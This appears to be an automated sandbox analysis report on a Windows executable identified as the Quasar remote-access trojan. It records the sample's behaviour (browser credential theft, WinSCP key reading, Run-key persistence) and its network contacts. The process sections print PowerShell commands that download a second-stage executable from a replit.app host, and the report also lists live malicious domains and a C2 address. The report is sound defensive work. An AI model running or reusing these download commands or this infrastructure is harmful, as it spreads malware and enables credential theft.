Analysis Overview
SHA256
8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3
Threat Level: Known bad
The file jdconstructnOrderfdp..exe was found to be: Known bad.
Malicious Activity Summary
Quasar payload
Quasar RAT
Credentials from Password Stores: Credentials from Web Browsers
Downloads MZ/PE file
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Reads user/profile data of web browsers
Reads WinSCP keys stored on the system
Checks computer location settings
.NET Reactor proctector
Executes dropped EXE
Adds Run key to start application
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Unsigned PE
Suspicious use of WriteProcessMemory
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-29 07:13
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-29 07:13
Reported
2024-07-29 07:17
Platform
win7-20240704-en
Max time kernel
117s
Max time network
127s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe
"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8298.tmp\8299.tmp\829A.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
Network
Files
C:\Users\Admin\AppData\Local\Temp\8298.tmp\8299.tmp\829A.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/2748-6-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp
memory/2748-7-0x000000001B540000-0x000000001B822000-memory.dmp
memory/2748-8-0x0000000002310000-0x0000000002318000-memory.dmp
memory/2748-9-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp
memory/2748-10-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp
memory/2748-11-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp
memory/2748-12-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp
memory/2748-13-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | cb03fc5057bb504c410d7dfc9340cec0 |
| SHA1 | 688aa6bf36b4f06bee011d9cfe74e90b8e671b1e |
| SHA256 | 184994eef087e2619c0725840ca43212800b62b32774d2a5be254986e36dd7f7 |
| SHA512 | d897eb6a3dfc04f9fa29b7e7e3f73f191d9ee70d74a299de95a4c27a723c94aef3c41cc795b1c52108bfb73c92ecc8e72d36f56c07b510c35923d6081de77641 |
memory/2640-19-0x000000001B600000-0x000000001B8E2000-memory.dmp
memory/2640-20-0x0000000001FF0000-0x0000000001FF8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-29 07:13
Reported
2024-07-29 07:16
Platform
win10v2004-20240709-en
Max time kernel
148s
Max time network
159s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
.NET Reactor proctector
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Reads WinSCP keys stored on the system
Reads user/profile data of web browsers
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe
"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A6DF.tmp\A6E0.tmp\A6F0.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
networkrunfdp.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | jdvdpconstructionltdfileportal.replit.app | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 233.33.117.34.in-addr.arpa | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | oshi.at | udp |
| CZ | 194.15.112.248:443 | oshi.at | tcp |
| US | 8.8.8.8:53 | 248.112.15.194.in-addr.arpa | udp |
| US | 192.228.105.2:4782 | tcp | |
| US | 8.8.8.8:53 | ipwho.is | udp |
| DE | 195.201.57.90:443 | ipwho.is | tcp |
| US | 8.8.8.8:53 | 2.105.228.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.57.201.195.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\A6DF.tmp\A6E0.tmp\A6F0.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/764-2-0x00007FFF64FD3000-0x00007FFF64FD5000-memory.dmp
memory/764-3-0x00000225933D0000-0x00000225933F2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gjyejjjp.zyp.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/764-13-0x00007FFF64FD0000-0x00007FFF65A91000-memory.dmp
memory/764-14-0x00007FFF64FD0000-0x00007FFF65A91000-memory.dmp
memory/764-18-0x00007FFF64FD0000-0x00007FFF65A91000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6f857cbceb4b48c43f2483798a60bce7 |
| SHA1 | 2945024e9161f9971d24c3d5042b614c781ed03a |
| SHA256 | 0886411b6e8582aced80f9bd6269d6821c06750180e85b50adb99ec8c4b867ae |
| SHA512 | 26db2e395d9b1b856ac4401d6576d5fa0631a7d0696c930ca1f683ec1812cc27406ff8c42f0538fd5e445d46f20aa68b826daf69738dd2647d1b8bea5a85c057 |
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
| MD5 | a18b7de2990becc30f700720e19ebfef |
| SHA1 | b48c1a5c7756bccfe05d7999daeb96e7ab688cfd |
| SHA256 | 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5 |
| SHA512 | 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b |
memory/1076-35-0x0000000000870000-0x00000000008DE000-memory.dmp
memory/1076-42-0x0000000005C10000-0x0000000005F35000-memory.dmp
memory/1076-43-0x0000000006680000-0x00000000069A4000-memory.dmp
memory/1076-44-0x0000000006F50000-0x00000000074F4000-memory.dmp
memory/1076-45-0x0000000006440000-0x00000000064D2000-memory.dmp
memory/1076-46-0x00000000064E0000-0x00000000064EA000-memory.dmp
memory/1076-47-0x0000000006600000-0x0000000006650000-memory.dmp
memory/1076-48-0x0000000006D50000-0x0000000006E02000-memory.dmp
memory/1076-49-0x0000000007B20000-0x0000000008138000-memory.dmp
memory/1076-50-0x0000000007870000-0x0000000007882000-memory.dmp
memory/1076-51-0x00000000078D0000-0x000000000790C000-memory.dmp
memory/1076-52-0x0000000007980000-0x00000000079E6000-memory.dmp